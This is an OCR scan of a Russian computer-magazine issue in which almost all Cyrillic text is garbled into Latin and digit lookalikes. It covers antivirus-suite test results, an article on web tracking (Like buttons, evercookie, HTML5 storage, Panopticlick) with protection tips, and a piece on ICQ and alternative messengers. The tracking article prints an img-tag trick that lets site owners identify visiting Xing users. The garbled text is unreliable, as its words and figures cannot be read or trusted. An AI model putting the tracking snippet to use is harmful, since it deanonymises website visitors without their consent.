Heu3BecTHbie Bupycbi (20 npuMepoB): nojiHOCTbro 
3a6noKupoBaHO/HacTMMHO 3a6noKupoBaHO/He odHapymeHO, % 

95/0/5 

85/15/0 

95/5/0 

90/5/5 

TpoRHCKiie nporpaMMbi (180 027 npuMepoB), % 

98,48 

97,12 

97,81 

99,99 

B3KAopbi/6oibi/Bupycbi/HepBM (66 530 npmviepoB), % 

99,37 

98,42 

99,07 

100 

OanbLUMBbie aHTMBupycbi/adware-nporpaMMbi (24 314 npuMepoB), % 

98,24 

97,52 

97,86 

97,42 

Bupycbi Wildlist (9844 npMMepa), % 

100 

100 

100 

100 

Jlo)KHbie curHanbi (147 316 c|jaMJiOB) 

1 

1 

0 

3 

npeAynpe>KAeHMe 06 yciaHOBKe/ucnojib30BaHMM nporpaMM 

0/0 

0/0 

0/0 

0/0 

yHMMTO)KeHMe: 06Hapy)KeH0/yAajieH0 aKTMBHbix KOMnoHemoB/ 
yAaneHO M3MeHeHHbix CMCTeMHbix tyawiOB, % 

100/80/60 

100/90/70 

100/80/60 

100/80/50 

BpeMB 3arpy3KM, c (6e3 amuBupycHoro naxeia - 47,6 c) 

71,3 

82,2 

85,1 

71,7 

CKaHupoBaHue tJjaujioB b cmctcmhom pa3Aene 
(nepBbm/BTopoM npoxoA), mmh.:c 

17:11/1:27 

10:51/2:21 

14:19/4:57 

33:02/28:50 

KonupoBaHue 1 rfiatiT MHCfoopMauMM c cJuieiu-HaKonmenB Ha f1K, 
mmh.:c (6e3 aHTHBiipycHoro naxeia - 1 mmh. 11 c) 

1:13 

1:18 

1:38 

1:34 

KonnpoBaHne 1 l"6aMT MHtpopMaumi c f1K Ha c|]jieuj-HaKonHTejib, 
mhh.:c (6e3 aHTHBHpycHoro naxeia - 5 mmh. 3 c) 

5:20 

5:16 

5:21 

5:07 

M3BneHeHMe M3 apxMBa 1 rdaMT MHCpopiviauMM, mmh.:c 
(6e3 aHTMBMpycHoro naxeia - 1 mmh. 54 c) 

1:58 

1:54 

1:57 

1:56 

flMCK aBapMMHOrO BOCCTaHOBJieHMfl 

• (B03M0>KH0 
o6HOBJiem/ie ami/i- 
Bi/ipycHbix 6a3) 

• (B03M0>KH0 

odHOB/ieHne ami/i- 
bi/i pycHbix 6a3) 

• (B03M0>KH0 

odHOB/ieHue ami/i- 
Bi/ipycHbix 6a3) 

• (B03M0>KH0 

odHOBJieHMe ami/i- 
Bi/ipycHbix 6a3) 

ri0Jlb30BaTeJlbCKMM MHTepC|]eMC 

HeMHoro 3anyiaHHbiM 

oneHb noHaTHbiw 

oneHb noHHTHbm 

noHHTHbm 


IOtjimhho ( 100 - 90 ) 

■ Xopoiuo ( 89 - 75 ) 

• Aa — HeT 


■ nocpeflCTBeHHO ( 74 - 45 ) 

1 HeyflOB/ieTBopmejibHO ( 44 - 0 ) 



110 Bee oqeHKM b 6 a;max (MaxcMMyM ■ 

- 100 ) 
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cnoacHee. Ee BHeniHeMy bhay pa 3 pa- 
6othhkh y^ejinjiH 6ojiBine bhhma- 

HHH, HeM (J)yHKU;HOHaJIBHOCTH, HTO 
He jiynniMM o6pa30M CKa3ajiocB Ha 
yAodcTBe Hcnojib30BaHHH. Cpe^CTBO 
6e3onacHOCTH eScan pa3ApaacaeT TeM, 
hto HanHHaeT CTaHaapTHoe CKaHHpo- 
BaHHe (J)aKJiOB Ha BHeniHHx HaKonn- 
Tejuix cpa3y ace npn hx noAKjnone- 
HHH K KOMnBIOTepy Il0JH>30BaTeJIH 
ESET CTajiKHBaiOTCii c Apyron npodjie- 
moh: o HeKOTOpbix (J)yHKHHHx npor- 
paMMLi He npe£OCTaBjieHO coBepmeH- 
HO HHKaKOH HHCjDOpMaiJHH. 

flononHMTenbHo: pas/iMHMH 
b fleTa/wx 

BblHCHHJIOCb, HTO aHTHBHpyCBI BCe 
6ojiBine noxoaHT Apyr Ha Apyra, npn- 
neM He tojibko no AH3aHHy, ho h Tex- 
HHHeCKHM XapaKTepHCTHKaM H npHH- 
Anny pa6oTBi. Bee npOH3BOAHTejiH 


ynaTca Apyr y Apyra h nepeHHMaiOT 
yAanHBie pemeHHH. Pa3JiHHHH — kak 
n o jt oa< n Ten b h bi e, Tax h OTpHuaTejib- 
Hbie — 3aKJHonaK)TC5i b AeTajiax. Tax, 
3aiAHTa OJieKTpOHHOH nOHTbl, aHTH- 
cnaM-MOAyJib h 4>HjibTp Be6-CTpaHHu; 
AaBHO OTHOCATCA K CTaHAapTHbIM 
(J)yHKu;HHM, ho nojib30BaTejno eScan 
nocjie HHCTajuiHAHH Heo6xoAHMO CHa- 
najia aKTHBHpoBaTb hx. 3aTO Kaspersky, 
BitDefender h ESET npeAJiaraiOT a o- 
nojiHHTejibHyio onuino noncKa cjia6bix 
MecT b CHCTeMe (HanpHMep, OTcyr- 
CTByiOH^Hx odHOBjieHHH rjw Windows). 

CymeCTBeHHbie pa3JIHHHH BbIHBHJIHCb 
h npn HHCTajuiHAHH nporpaMM. B to 
B peMH Kax nodeAHTejib TecTa Norton 
yace MeHbine HeM nepe3 MHHyry 6bui 
roTOB k padoTe, ESET noTpedoBaji Ha- 
CTpOHTb dpaHAMayop, achctbhh c Heace- 
JiaTeJIbHblMH npHJIOXeHHHMH H aHaJIH3 
noBeAeHHH BpeAOHOCHoro 110. eScan, 


HanpOTHB, nocjie HHCTaiuraHHH aBTO- 
MaTHnecKH 3anycTHji CKaHHpOBaHHe 
CHCTeMbi. 3to pa3yMH0, ho 3a mecTb 
HeAejib nporpaMMa hh pa3y He odHOBH- 
jia CHmaTypbi BHpycoB. Y McAfee Mbi 
odHapyxHJiH Apyryio npodneMy: H3-3a 
HeB03M0XH0CTH coeAHHHTbCH c cepBe- 
pOM He yAaeTCH aKTHBauna, xoth, no 
yTBepxAeHHio npOH3BOAHTejin, hh y 
OAHoro nojib30BaTejiH paHbme He B03- 
HHKajio noAodHon npodjieMbi. IlpH hc- 
nojib 30 BaHHH G Data, BitDefender, PC 
Tools h Avira KaaceTca h3jthujhhm h 
Bbi3biBaeT pa3Apaacemie to, hto nocjie 
HHCTajuiHAHH HeodxoAHMO 3aperacT- 
pnpoBaTbCH, HTodbi nojiynHTb AOCTyn 
K nOCJieAHHM odHOBJieHHHM. 

TaKHM odpa30M, HOBenniHe naKera 
de3onacHOCTH HecoBepmeHHbi, OAHa- 
ko ohh Bee ace odecnenHBaiOT 3HanH- 
TejibHO jiynmyio 3antmy, hqm hx npeA- 
mecTBeHHHKH. am? 


* o e 

G Data 

1 1 1 1.‘ ■ 1 7 urity 

2011 





5 MECTO 

6 MECTO 

7 MECTO 

j 8 MECTO s 

9 MECTO 

10 MECTO 

11 MECTO 

G Data Internet 

PC Tools Internet 

Avira Premium 

Kaspersky Internet 

eScan Internet 

McAfee Internet 

ESET Smart 

Security 2011 

Security 2011 

Security Suite 

Security 2011 

Security Suite 

Security 2011 

Security 4 

http://ru.gdata- 

software.com 

www.pctools.com 

www.avira.com 

www.kaspersky.ru 

www.avescan.ru 

www.mcafee.com/ru 

www.esetnod32.ru 

1100 

2075 

1600 

1600 

1550 

1600 

1690 

87,5 

87 

86 

85,8 

85,6 

82,1 

70,2 



90/5/5 

95/5/0 

85/15/0 

95/0/5 

85/0/15 

75/15/10 

85/5/10 

99,24 

97,31 

98,75 

94,87 

97,03 

98,43 

86,65 

99,60 

98,43 

99,60 

97,96 

98,82 

99,27 

96,12 

99,78 

98,43 

99,14 

95,65 

98,14 

98,87 

89,08 

100 

100 

100 

100 

100 

100 

100 

0 

3 

7 

1 

3 

7 

6 

0/0 

0/0 

1/3 

0/0 

0/0 

0/0 

0/0 

100/80/60 

100/90/80 

100/80/50 

100/80/50 

100/80/30 

100/60/40 

100/60/10 

98,8 

95,9 

77,9 

114,7 

77,1 

66 

51,6 

27:53/28:02 

25:12/22:15 

18:04/17:21 

26:25/5:48 

23:35/2:21 

31:33/8:42 

28:18/27:08 

1:21 

1:12 

1:16 

1:17 

1:19 

1:17 

1:26 

5:11 

5:15 

5:04 

5:05 

5:07 

5:08 

5:16 

1:56 

1:58 

1:59 

1:57 

1:54 

1:58 

2:09 

• (B03M0>KH0 

- 

- 

• (B03M0>KH0 

- 

- 

- 

odHOBnem/ie ami/i- 

(B03M0)KH0 

(B03M0>KH0 

odHOB/iem/ie ami/i- 

(B03M0>KH0 

(HeB03M0>KH0 

(B03M0>KH0 

Bi/ipycHbix 6a3) 

C03flaTb) 

C03flaTb) 

Bi/ipycHbix 6a3) 

C03flaTb) 

C03flaTb) 

C03flaTb) 

oneHb noHflTHbm 

3anyiaHHbm 

noHHTHbm 

HeMHoro 3anyiaHHbm 

HeMHoro 3anyiaHHbiM 

noHflTHbm 

3anyTaHHbm 
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chip TECTbl H 0E30Pbl Be3onacHOCTb 


B l/lmepHeTe 3a HaMi/i cneflHT npw noMOink 
HOBbIX Be6-TeXH0J10rMM l/l COUMaJlbHblX 
ceim Kax >xe c 3 ti/im SopoTbca? 


B pay3ep — Barn iioctohhhbih 
cnyranK npH cepcJiHHre b Ce- 
ra. Oh b Kypce, Karae hoboct- 
HLie caHTBi bbi nocenjaeTe, 
rae coBepmaeTe noKymai h b 
K aKOM coo6mecTBe npocicKHBaeTe na- 
caMH. BnojiHe bobmoxho, hto Beb- 
o6o3peBaTejn> 3HaeT Bac jiynrne, hqm apy- 
3ba. Ho b OTjiHHne ot nocjieaHHx oh He 
yMeeT xpaHHTB TaHHBi h 6e3 3a3peHHH 
COBeCTH BBmaeT JIHHHyiO HH(J)OpMaHHK). 
Mbi noxaaceM, b KaKHx CHTyaunax bbi 
pacxpBiBaeTe ceba 6ojiBine aonycraMoro 

H KaK 3aLHHTHTBCa OT 3TOH CJieXKH. 

MHt|)opMaTOpbi: Facebook m Xing 

He cexpeT, hto OHjiaHH-coo6mecTBa 
n03BOJHHOT nOJiyHHTB MHOTO CBeae- 
hhh o HejioBexe. OaHaico cjieaBi oc- 
TaiOTCH He tojibko b Facebook, ho h Ha 
apyrnx pecypcax. B 3 tom BHHOBaTa 
KHonKa aaHHOH coanajiBHOH cera 
«MHe HpaBHTCH», KOTOpyiO M03CH0 
obHapyxHTB Ha Bee bojiBineM kojih- 
necTBe caiiTOB. Ecjih nojiB30BaTejno 
no ayuie Kaxan-To cTparanaa, oh 
M oxeT noaejiHTBCH HH(J)opMaaHeH o 

Hen OaHHM KJIHKOM MBIHIH, npHHeM 
aejiaeT oto aobpoBOjiBHo. OaHaxo 
He Bee 3HaiOT, hto, Koraa bbi 3ajiora- 
HeHBi b Facebook h nocenjaeTe canra 


C TaKOH KHOnKOH, CepBHC 3anOMHHa- 
eT 3TO He3aBHCHMO OT TOTO, Ha- 

xajiH jih bbi Ha Hee. npocjieccop Ma- 
pno Omnep, H3aaTejiB ra3eTBi « Web- 
site Boosting», npOKOMMeHrapOBaji 
3 to Tax: «Tohho HeH3Becrao, npora- 
KOJinpyeT jih Facebook noceiaeHHe 
CaHTOB, HO, eCJIH CyaHTB no B3TJI5iaaM 

ocHOBaTejiH aaHHoro pecypca, 3 to 

MOvKHO np ea n O JI 0>K HTB» . 

Ctojib >xe jierxo cjieanT h 3a objiaaaTe- 
jihmh aKKaynroB b Xing. Hpn noMomn 
npOCTBIX TpIOKOB BJiaaeJIBHbl caiiTOB 
Moryr y3HaTB, xaioie nojn>30BaTejiH 3 to- 
ro cepBHca nocemajiH nx CTpaHHHbi — 

aOCTaTOMHO JIHHIB aobaBHTB B HCXOaHBIH 

Koa cairn (^parMenr Taxoro rana: 

<img src http://www.xing.com/profile/Ivanov> 

B pe3yjiBTare HBaHOB yBHanr b co 6 ct- 
BeHHOM npo(J>iuie b bH3Hec-coobiaecTBe 
HMeHa, npo(j)eccHH h nponyio hhc[dop- 
Maitnio o noceTHTejiHx cBoero canra. 
3Ami/ITA. Bceraa pa3JIOTHHHBaHTeCB Ha 
Bcex nopTajiax h BBixoaHTe H3 nonTO- 
bbix aKKayHTOB. BnponeM, MHorae Tax 
npHBBixjiH 6 bitb Bceraa aBTopH30- 
BaHHBiMH b jho 6 hmbix coobnjecTBax, 
hto aa>xe He 3aayMBiBaioTcn o Ha>xa- 
THH Ha KHOnxy «BBIXOa». n0JIB30BaTe- 
jih Mozilla Firefox Moryr npHberayTB 


x pacniHpeHHio Prism, xoTOpoe koh- 
BeprapyeT caitT b Be6 - np n jio>xe h ne h 
paboTaeT napajuiejiBHO c 6pay3epOM. 
3 to yaobHO h noMoraeT coxpamiTB 
npHBaraocTB, Tax KaK bbi paboTaeTe b 
aByx npocjDHjiHx Firefox cpa3y. 

Hey5i3BMMbie: 

HOBbie cookies 6pay3epa 

Ctoht tojibko noHHTepecoBaTBCH ho- 

BBIMH XeCTKHMH aHCKaMH B OHJiaHH- 
Mara3HHe 3JieKTpOHHKH — h npn noce- 
meHHH apyrnx caiiTOB Bcioay cTaHeT 
OTobpaxaTBcn pexjiaMa BHHnecTepOB. 
Bo 3 movKho, Bee aejio b cookies, koto- 
pBie pecypc ocTaBjweT Ha KOMHBioTe- 
pe nojiB30BaTejiH. Ecjih ohhcthtb ot 
hhx 6pay3ep, peioiaMHBie BCTaBKH 
oGbihho nponaaaiOT. OaHaKO xaKep 
C3 mh KaMKap xoneT aoKa3aTB, hto 
aaHHBiii MeToa ycTapeji. 

Hmchho oh BHHOBeH b cKaHaajie bo- 
Kpyr nepBH Ha MySpace, pa3pa3HBiiieM- 
ch b 2005 roay. 3a 18 nacoB Csmh KaM- 
Kap ObMaHyjI OKOJIO MHJUIHOHa nOJIB30- 

BaTejien. Oh Hanncaji JavaScript-Koa 
noa Ha3BaHHeM evercookie. CKpnnT 
co3aaeT Heyn3BHMBie cookies, KorapBie 
HenpocTO yaajiHTB c nK. Evercookie 
HCnOJIB3yeT BOCeMB pa3JIHHHBIX Mera- 
aoB h MecT aaa CKpBiran Ha aejieBOH 
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HTML 5 m JavaScript: 

KOHeU npMBaTHOCTM 

CeroflH5i pa3pa6oTHMKM npoABMrafOT ho- 
Bbm Be6-CTaHAapT — HTML 5. Oh npeAO- 
CTaB/15ieT MHO>KeCTBO B03M0>KH0CTeM — 
HanpMMep, npMKperuieHMe My/ibTMMeAMM- 
HblX (jiaMJlOB, KOTOpbie BOCnpOM3BOA^TC51 
6e3 n/iarMHOB. Ho cneuMa/iMCTbi onacafOT- 
ca, hto c HTML 5 m JavaScript npMBaTHO- 
CTM B CeTM npMAeT KOHeA. 

JIOKAJIbHblE 3AnOIVMHAK)lUI/IE 
YCTPOMCTBA HEHAflE)KHbl. C noMO- 
lAbfo HTML 5 mo>kho nepeAaBaib cjaa m - 
/ibi c caiiTOB Ha KOMnbfOTepbi m Mo6M/ib- 
Hbie Te/iectDOHbi. no cpaBHeHMfo c cookies 
HOBaa BepcMa HTML no3BO/iaeT coxpa- 
H5iTb ropa3AO 6o/ibiuMM o6T>eM MHc|)opMa- 
Amm. 3to no/ie3Hoe cbomctbo, OAHaKO 
OHO MOWeT MCn0/lb30BaTbC51 M B KOpblCT- 
Hbix Ae/iax. TaK, c pacnpocrpaHeHMeM 
HTML 5 m JavaScript y cneuMa/iMCTOB 
b ccjoepe pemiaMbi no5i B/i5ieTC5i 6o/ibwe 

B03M0>KH0CTeM MAeHTMCjDMKaAMM 


JavaScript no 3 eo jw 
er cneAMTb 3 a noce-J 
TMTei 1 HMM CaMTOB» I 

KpMCTMaH OyHK, «Jla6opaTopnfl KacnepcKoro» I 


no/ib30BaTe/ia, OTcneiKMBaHMa noceiAae- 
Mbix mm dpaHMA m Aa>Ke onpeAe/ieHMfl 
ero MecTono/io>KeHM5i nyieM onpoca 
GPS-MOAy/ifl b ero CMapic)}OHe. Bnpyc- 
HbiM aHa/iMTMK «Jla6opaiopMM Kacnep- 
CKOTO» npOKOMMeHTMpOBa/l 3TO TaK: 

«C noMOiAbio JavaScript mo>kho pa3pa- 
6oTaib CBoero poAa «OTneHaTKM na/ib- 
AeB» A/ifl Be6-6pay3epa, KOTOpbie 6yAyT 
COAep>KaTb MHC(DOpMaAMK) B TOM HMCJie 
m o T3KMX napaMeipax, KaK naarMHbi m 
ydaHOB^eHHbie uipmJjTbi. 3 tm machtm- 
C(}MKaTOpbl n03B0/151T aHa/lM3MpOB3Tb 
noBeAeHMe no/ib30BaTe/ia b CeTM». 



ManiHHe, BKjnouaH hctophio noceme- 
hhh h xpaHHjinme ceccHH HTML 5. 
flaxe Koraa ocTaeTca Bcero OAHa ko- 
nHH, OHa 3aHOBO AyOjTHpyeTCH bo Bcex 
OCTaJIBHBIX MeCTaX. 

KaMKap pa3MecTHji evercookie juin 
OecnjiaTHoro CKauHBaHHH Ha cairre 
www.samy.pl. Xaxepa He nyraeT tot 
(J> aKT, hto ero CKpnnT npHMeHHeT- 
CH ApyrHMH. B CBOeM KOMMeHTapHH 
xypHajiy CHIP oh oGbhchhji oto Tax: 
He 6 oiocb, hto nporpaMMHCTBi 
HcnojiB3yiOT evercookie. MeHH ropa3- 


AO 6ojiBine 3a6oTHT to o6cTOHTejn>- 
CTBO, HTO MHOme (jDHpMBI npHMeHHIOT 
noxoxHe MeTOABi yace AOJiroe BpeMH. 
51 npocTO xony cacjiatb AOCTynHBiM 
TO, HTO 06BIHHO CKpBIBaiOT». 

CjieaceHHe nponcxoAHT He3aMeTHO, 
6e3 BTOpxeHHH b 6pay3ep h ycTaHOB- 
kh KaKHx-jiH6o nporpaMM, noxa flash- 
cookies HaXOAHTCH Ha KOMnBIOTepe. 
no BHHe HOBOTO H3BIKa pa3MeTKH 
HTML 5, KOTOpBifl yace npHMeHHeT- 
ch Ha HexoTopBix cairrax, aHOHHM- 
Hoe nepeMememie no HHTepHeT- 


’ C X fit . j limp ; ffcifjdlfrYfr 
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Hau, ttv Lhta H utd H coolti* tuyi 

I. caste*! 

| Cm* a raditHMf oookiM^fTfrOuT tuacMiiflft 

KoHcpnaeHuuajibHOCTb 

3aLAMLAeHHaa BepcMa 
6pay3epa npenBTCTByeT 
i/icnojib30BaHMK) evercookie 


OinenaiKM naabuee Cai/u 
http://panopticlick.eff.org 

noKa3biBaeT, KaKi/ie c/ieAbi 
ocTaBOBeT Bam 6pay3ep npw 
noceiAem/n/i Be6-CTpaHMA 


Pan®pticlick 

How Unique I — and Trackable — Is Your Brow: 


□<uira«r 


Your bcaratr I Tigarprtl appears Co be- u nque imaig Ihi 1 .233.3SB lulad 10 fir 

Cuirtmly, Ihal fnnr bttwav h» a linyw^int Uibi mcws-v* B1 Iwd 29.; 

bil»oi identifying intatfiriHiori, 

r he MWiuiiErrierftsi we uatJ LooUan Ihn ibsuH are lisled bslcw You can ruad nio 
our (VHdlMdelosr. atalisliflsJ e«u(ls, senn&iletiiisea e^srisi InYg^iiKins 
MmHok. 

Help us sample gees 3 J" C t Q> 


npocTpaHCTBy CTajio npaxTHnecKH 
HeB03M03CHBIM (CM. Bpe3Ky). 

3AmMTA. EcJIH Bbl AeHCTBHTeJIBHO xo- 
THTe nyremecTBOBaTB no Cem hh- 
KOTHHTO, HCnOJIB3yHTe 3aiAHIAeHHBIH 
6pay3ep (oh pa3MemeH Ha HarneM DVD). 
Mbi npOTecTHpOBajin ero h y6eAH- 
jihcb: evercookie He yAacTcn nepeAa- 
BaTB AaHHBie nojiB30BaTejiH. KpoMe 
Toro, no 3aHBjieHHHM KaMxapa, b pe- 
3CHMe npHBaTHoro npocMOTpa Safari 
OCHOBaTeJIBHO OHHIAaeT KOMnBIOTep 
h He ocTaBjineT cjieAOB. 

3miAeM»m noflCflyuiMBamifl: 

npMBaTHblM pe>KMM 

TeM He MeHee pexHM npHBaTHoro npo- 
CMOTpa, KOTOpBifl HMeeTCH bo Bcex 
6pay3epax, He o6ecnenHBaeT nojiHoit 
3aiAHTBi ot cjtokkh. Kohchho, npH ero 
aKTHBau;HH Be6-o6o3peBaTejiB ocTaBjin- 
eT MeHBine cjieAOB, ho Flash-rniamH 
hjih pacnmpeHHe Adblock Plus BBma- 
iot Bac 6ojiBine, neM mo)kho 6buio 6bi 
O vKHAaTB. B to BpeMH xax 6pay3epBi b 
npHBaTHOM pe>KHMe yAajunoT HTTP- 
cookies, hctophio nocemeHHH h nonc- 
KOBBie 3anpocBi, flash-cookies ocTaiOTCH 
Ha KOMnBIOTepe. npodjieMa 3aKjiiOHaeT- 
ch b tom, hto 6pay3ep He MOxeT ynpaB- 

JIHTB 3THMH CjiaHJiaMH — AOCTyn K HHM 

ecTB tojibko y Flash-njiamHa. Be6- 
HHCTpyMeHTBI, C nOMOIABIO KOTOpBIX 

flash- cookies moxcho yAajiHTB oahhm 
mejiHKOM mbiihh, AOCTynHBi no aApecy 

http://bit.ly/2fZi. 

TeM BpeMeHeM Adobe ynynniiuia Flash- 
rniarHH: ho Baa Bepcnn MyjiBTHMeAHa- 
iuieepa noA HOMepOM 10.1 noAAepvKHBa- 
eT npHBaTHBin pe>KHM npocMOTpa. npn 
ncnojiB30BaHHH donee CTapBix BapnaH- 
tob Bee >xe ecTB onacHOCTb nmHOHaxa. 

Taioxe HyxAaeTCH b yjiyHineHHH 
6jiOKHpyioiAan peiciaMy nporpaMMa 
Adblock Plus. Ecjih b npHBaTHOM pe>KH- 
Me pa3peniHTB 3arpy3Ky peiciaMBi Ha 
KaKOM-jindo cairre, OHa CHOBa 6yAeT 
npHHHMaTBCH H B CTaHAapTHOM: enu- 
CKH, B KOTOpBie 3aHOCHTCH HCKJHOHe- 
hhh, AOCTynHBi b o6ohx pexHMax. 
3AmMTA. OdHOBHTe Flash-njieep, h 
6peniB b 6e3onacHOCTH 6yAeT ycTpa- 
HeHa. npn HcnojiB30BaHHH Adblock 
Plus b pexHMe npHBaTHoro npocMO- 
Tpa HejiB3n pa3pemaTB BcnjibiBaiomyio 
peiciaMy hh Ha oahoh CTpaHHije. 
AllbTEPHATMBA. npoBepBTe b MeHio Fire- 
fox <<HonojiHeHHH | Adblock Plus | HacT- 
poiiKH», 3aHeceHBi jih Tyaa cairrBi, koto- 
pBix TaM He aojdkho 6bitb, h npn Heodxo- 
Ahmocth yAajiHTe hx BpyuHyio. hh? 
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\3E5? I1PAKTMKA 06meHMe b Ce™ 



llonyjiapHbiM cepBuc fl/ia odivieHa MrHOBeHHbiMi/i coo 6 Lnem/mMi/i ICQ 
nocjieflHMe HecKOJibKO JieT AeMOHCTpi/ipyeT AOBOJibHO CTpamnoe otho- 
LueHMe k nojib 30 BaTe/iflM, clDaKTMHecKi/i BbiHywflaa mx i/iCKaTb 3 aMeHy 
3 T 0 My npi/iBbiHHOMy MecceH,q>Kepy. Kaxi/ie cymecTBytOT a/ibrepHaTMBbi 
M KaK MI/IHMMM 3 MpOBaTb TpyflHOCTM npi/l CMeHe CpeflCTBa 06li^eHMB? 


Jm? 


4 



K aK h 6ojibniHHCTBO KpynHbix 
Be 6 -cepBHCOB, ICQ c ero 60 - 
jiee hcm 42 mjih nojib30Bare- 
jieir co3aaBajTCH KaK deciuiar- 
Haa CHCTeMa, npeaHa3HaueH- 
Ha h jjjm o6MeHa coodiaeHHHMH (cHauajia 
TeKCTOBbiMH, a no 3 £Hee h MyjibTHMe- 
Ahhhbimh). CepBHC 3apa6aTbiBaeT cpea- 
CTBa Ha CBoe pa3BHrae 3a chct noKa3a 
peiciaMbi b (JmpMeHHbix nporpaMMHbix 
KjineHTax, BbinymeHHbix jinn Windows 
h Mac OS X — AByx Handojiee nonyjiup- 
Hbix onepauHOHHbix chctcm. B moGhjib- 
Hbix BepcHHx ICQ peiciaMbi hct, ho npn 
3TOM OHH He MOiyT nOJIHOCTbK) 3aMe- 
HHTb HaCTOJIbHbie npHJI03CeHHH. CBOeH 
nonyjiHpHOCTbio ICQ bo mhotom o6a3aH 
TOMy, hto Hcnojn>3yeT OTKpbiTbiH npo- 
tokoji odMeua coodiaeHHHMH (npaBaa, 


oh CTaa TaKHM He cpa3y). 3 to no3BOJin- 
eT padoTaTb c hhm HeocjDHiiHajibHbiM 
aJIbTepHaTHBHbIM KJIHeHTaM, KOTOpbie 
o6jraaaK)T 6ojiee hihpokhm HadopOM 
B03 M 0>KH0CTe H (TIUIHUHblH npHMep — 

Miranda IM) h He noKa3biBaiOT HaBH3- 
HHByK) peKJiaMy. B HTore yxe HecKOJibKO 
JieT ICQ (J)yHKHHOHHpyeT cede b ydbiTOK 
H B CHJiy OCOdeHHOCTeH pa3BHTHH HH- 
TepHeT-pbiHKOB nonyjinpeH tojibko b 
H ecKOJibKHx CTpaHax EBponbi h CHr, 
npH TOM HTO GOJIbUIHHCTBO nojib30BaTe- 
jieft no-npe>KHeMy OTaaiOT npeanoure- 
HHe Heo(J)HiiHajibHbiM pemeHHHM. B no- 
cjieAHHe roabi k npocTbiM KJIHeHTaM c 
noaaep>KKon oaHoro npOTOKOJia aoda- 
BHJiHCb MyjibTHnpOTOKOJibHbie arpera- 
Topbi, TaKHe, HanpHMep, KaKfring, Nim- 
buzz, Palringo h Meebo. Ohh no3BOJiHK)T 



3> QIP Contacts Manager (v.1.2) 


23 


Server Side contact kst 
Q List items 

(£) Items count: 23 
(j^ lastmodfied: 30. 11.2010 16:... 

£ © [root]. Groups • 1, Buddies... 
tj}- C3 General - 14 




■» 


CpencTBO sKcnopxa 

KOHTaKT-JlMCTa 0T 
co3flaTenew QIP 



About 


•** Aboul 

Online help 


Account 



Logn: 


s 


| Logoff | 

o 

Password: 



B/iaAenb 4 bi ICQ Tpe 6 yiOT | 
OTMMCneHMM C a/lbTepHaTMB- 
HblX MeCCeHA>KepOB 


floOaBHTb H3 aapecHon khuch 

Ow«^mt« wyxcHux mc/jen m aopacitux KH«r 
iimw imphooui ntMrioxmaa m maccain u a 
cnxcot KOMiano* Skype. Skype we 


llormail Gmail Microsoft Outlook MSN 


rxwx.»o<TTtn» Grnil 


"Willi 


RamWw 

wteoe 

mailxam 
163 com 

Wirtuilna Polska 

Damn 

Inlona 

mynat 

ImSatimas 

126 com 

FaslMad 


Skype o6jiaflaeT BCTpoeHHoii cjDyHKLjMeM MMnopia KomaKTHbix AaHHbix 
M3 pa3HblX MCT0HHMK0B 


npHBH3aTb k oaHOH yueTHOH 3anHCH Bee 
MMeiomHecH y nojib30BaTejia aKKayHTbi 
b MecceHa^cepax h couHajibHbix cerax. 
3 th KJiHeHTbi opHeHTHpOBaHbi b nepByio 
onepeab Ha cemeHT ModnjibHbix njiaT- 
(J)opM, b kotopom noTHTTHH ICQ Bceraa 
dbuiH cjiadbiMH. B HTore nocjie coGbithh 
jieTa 2010 roaa, Koraa ICQ 6bui bbi- 
KyrnieH y AOL pocchhckhm (J)OHaoM 
Mail.ru Group, b CeTH noHBHjiucb coo6- 

meHHH O TOM, HTO 3TOT CepBHC 3anpeTHT 
decruiaTHO Hcnojn>30BaTB cboh npOTO- 
koji b ajibrepHaTHBHbix KjiHeHTax. Ilep- 
boh xepTBOH CTaa nonyjiHpHbiH b epeae 
ModHjibHbix nojib30BaTejieii MyjibTHnpo- 
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lAIOO'VnOlOd/VMHOOai :HLJ3II/lff0a£l/l0dU-|/ll/IHVUI/\l0>l :0I0CD 






BbIBOA 

B^afle/ibUbi ICQ, HeitorAa caMoro 
nony/iapHoro MecceHAwepa, pern m- 
jim 6 paib AeHbrn 3a Mcno/ib30BaHMe 
CBoero npoTOKO/ia b K/inemax cto- 
pOHHMX pa3pa60THMK0B. Hlo6bl BHe- 
3anHO He ociaTbca 6e3 cba3m, /iyHwe 
3apaHee noAroTOBMTb nyTM OTCTyruie- 
HM5i. fl/ia 3Toro mo>kho /im 6 o nepeMTM 
Ha OAMH M3 My/lbTMnpOTOKOJIbHblX 
K/lMeHTOB, J 1 m 6 o HataTb n0Jlb30BaTbC51 
CeTflMM MTHOBeHHblX coo 6 iAeHMM, 06 - 
JiaAafOIAMMM 60 /lbLUMM KO/lMHeCTBOM 

cfiyHKAMM, He>KejiM npMBbiHHa5i ICQ. 
npM 3 tom Hec/io>KHo nepeHecTM TyAa 
KOHTa KTbl M nponyio MHCjDOpMaUMK) 

M3 craporo MecceHA>Kepa. 



TOKOJibHbiH KjiHeHT Nimbuzz. Bjiaflejib- 
iiibi ICQ noTpeboBajiH 3aitnaTHTb 3a 
Hcnojib30BaHite npOTOKOJia, hto b HTore 
npHBejio k OTicTioneHMio ero nozmep>K- 
KH B 3TOM KJIHeHTe. B CeTH nOHBHJiaCb 
HH(J)opMaLiHH o tom, HTO 3a Nimbuzz 
nocjieAyeT QIP, caMoe pacnpocTpaHeH- 
Hoe ajibTepHaTHBHoe pemeHne ajih Win- 
dows B PoCCHH H CHE IIOKa 3TOTO He 
np0H30IHJI0, HMeeT CMbICJI paCCMOTpeTb 
ocHOBHbie BapnaHTbi «MHrpaiiHH» Ha 
CTOpOHHHe CepBHCbl. 

Hunero He MeHsiTb 

Oahh H3 TpaAHu;HOHHbix nyreii peine - 
hhh npobjieMbi — ocTaBHTb Bee icax 
ecTb, o>KHaaH, hto KOMnaHHH cyMeiOT 
AoroBOpHTbCH Me>Kay co6oh. B cjiyuae 
c Nimbuzz komhpomhcchbim maroM 
Momo 6bi CTaTb co3AaHHe KOMMep- 
uecKoro KJiHeHTa, no^aepacHBaiomero 
paboTy c ICQ, kjih noAKjnoueHHe 


C K O www.jabber.ru/jabaddons/jrir/jru.php 


YTMTiMTa Jabber Pocrepa Ha PHP 

3to peweftK nseecruotl Ytha w~bi am a Jabber Poa&pa . HarmcaHHOu Ha Perl, n 
C noMOLMjbio 3 tch ynirufTbi eti MOacere ynpae/ifltt, cbohm Jabber pccrepon 


/laHHbie aKayma Jabber 

Bee^ne Bam JIO [user@server): (at 

BeeAHie Bam napo/ib: *****™*«| 

U Use US encryption if available - Deactivate in case of login problems 
npjiyviHTb poaep c cepeepa 

